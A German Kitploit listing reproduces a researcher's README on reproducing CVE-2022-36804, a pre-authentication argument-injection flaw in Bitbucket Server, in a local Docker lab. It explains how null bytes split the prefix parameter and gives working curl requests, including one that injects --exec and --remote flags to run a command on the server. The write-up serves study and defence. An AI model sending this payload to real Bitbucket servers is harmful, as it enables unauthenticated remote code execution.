Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
bitbucket-test — Investigating CVE-2022-36804 | Kitploit
Tools/GitHubGitHub/johangabrielson/bitbucket-test
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLabs & Practice
GitHubjohangabrielson/bitbucket-test

bitbucket-test

Investigating CVE-2022-36804

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Docker-Container zur Untersuchung von CVE-2022-36804

Nachbildung einer Schwachstelle zur Remote-Codeausführung, bei der Bitbucket Benutzereingaben nicht bereinigt, sodass Angreifer Git-Flags einschleusen und Code remote ausführen können.

Dieses Repository dokumentiert, wie ich die Schwachstelle CVE-2022-36804 reproduziert habe, ein Problem mit Argument-Injection vor der Authentifizierung in Bitbucket Server. Ziel war es, das zugrunde liegende Sicherheitsproblem zu demonstrieren, wie in Assetnotes öffentlichem Writeup beschrieben. Alle Tests wurden in einer isolierten lokalen Umgebung durchgeführt.

Überblick

CVE-2022-36804 wird dadurch verursacht, dass Bitbucket Benutzereingaben direkt an einen git-archive-Subprozess übergibt, ohne Nullbytes zu bereinigen. Da Bitbucket NuProcess zum Starten von git verwendet, bleiben Nullbytes erhalten und verursachen eine Aufteilung der Argumente. Dies ermöglicht einem Angreifer, zusätzliche git-Flags in den Befehl einzuschleusen. In anfälligen Versionen (wie 7.21.0, die in diesem Setup verwendet wird) führt dies zu Remote-Codeausführung ohne Authentifizierung.

CVE-2022-36804 erklärt

Diese Schwachstelle zur Remote-Codeausführung vor der Authentifizierung tritt im /archive-Endpunkt auf, der für die Erstellung von Repository-Archiven mit der Funktion git archive zuständig ist. Bitbucket übergibt den Parameter prefix direkt an den git-Subprozess, jedoch ohne Nullbytes zu bereinigen. Da git in C implementiert ist, beendet ein Nullbyte die Zeichenkette vorzeitig. Alles nach dem Nullbyte wird daher als separates Befehlszeilenargument interpretiert. Dadurch kann der Angreifer beliebige git-Flags in den Befehl einschleusen.

Dies funktioniert, weil Bitbucket NuProcess verwendet, das Nullbytes beibehält anstatt sie zu entfernen. Infolgedessen erhält Git die rohe Eingabe genau so, wie sie vom Benutzer bereitgestellt wird. Da git Nullbytes als Zeichenketten-Terminatoren behandelt, wird der prefix-Wert beim Übergeben an den git-Subprozess in mehrere Argumente aufgeteilt. Dies ermöglicht das Einschleusen zusätzlicher git-Flags nach dem Nullbyte. In Kombination mit Flags wie --exec und --remote führt diese Argument-Injection in anfälligen Versionen des Bitbucket Server direkt zur Remote-Codeausführung.

Laboraufbau

  • Bitbucket Version 7.21.0
  • Bereitstellung: Docker Compose
  • Repository: öffentliches Test-Repo (TEST/demo)
  • Host: lokale isolierte Laborumgebung

Zum Starten der Umgebung:

root@kitploit:~
docker compose up -d

Version überprüfen:

root@kitploit:~
cat /opt/atlassian/bitbucket/VERSION

Demonstration der Schwachstelle

Der Schlüssel zu dieser CVE ist der Nachweis, dass ein Nullbyte im Parameter prefix dazu führt, dass Bitbucket mehrere Argumente an git archive übergibt.

  1. Führen Sie pspy im Bitbucket-Container aus
root@kitploit:~
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

Lassen Sie pspy laufen.

  1. Lösen Sie den anfälligen Endpunkt vom Host aus:
root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"

Dies testet, ob das Nullbyte eine Aufteilung der Argumente verursacht.

  1. Beobachten Sie die eingeschleusten Argumente

In pspy erzeugt Bitbucket:

root@kitploit:~
/usr/bin/git archive --format=zip --prefix=test canary/ -- 

Hier erscheinen test und canary als separate Argumente statt als eines. Das %00 hat die Eingabe aufgeteilt und Bitbucket wird gezwungen, sie als unabhängige Argumente an git zu übergeben.

Das folgende Bild zeigt pspy, das im Bitbucket-Docker-Container läuft und /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666) abfängt. Was als ein Wert gesendet wurde - test%00canary - wird als zwei separate Argumente übergeben. Das Nullbyte teilte die Eingabe, wodurch ein zusätzliches Argument in den git-Befehl geschmuggelt wird.

Skärmbild 2026-03-30 191936
  1. Vollständiger RCE-Nachweis:

Durch Injizieren von --exec=touch /tmp/pwned und --remote=file:///... über Nullbytes führt der Server einen beliebigen Befehl aus. Obwohl git mit Code 128 beendet wird, läuft der Befehl, bevor git den Fehler meldet, und /tmp/pwned wird im Container erstellt. Payload:

root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"   

Das folgende Bild zeigt pspy, das die vollständige Ausführungskette erfasst - /usr/bin/git archive läuft mit den Argumenten --exec und --remote (PID=74412), und erzeugt /bin/sh touch /tmp/pwned (PID=74413) Skärmbild 2026-04-12 165103

Mit docker exec -it bitbucket ls -la /tmp/pwned konnte überprüft werden, dass die Datei erstellt wurde. Dies wird im folgenden Bild gezeigt. Skärmbild 2026-04-12 164846

Referenzen

  • Assetnote: Bitbucket Pre-Auth RCE via Git-Argument-Injection
    • https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804
  • CVE-2022-36804
    • https://nvd.nist.gov/vuln/detail/CVE-2022-36804

Autor

Johan - Stockholm, Schweden

Tool herunterladen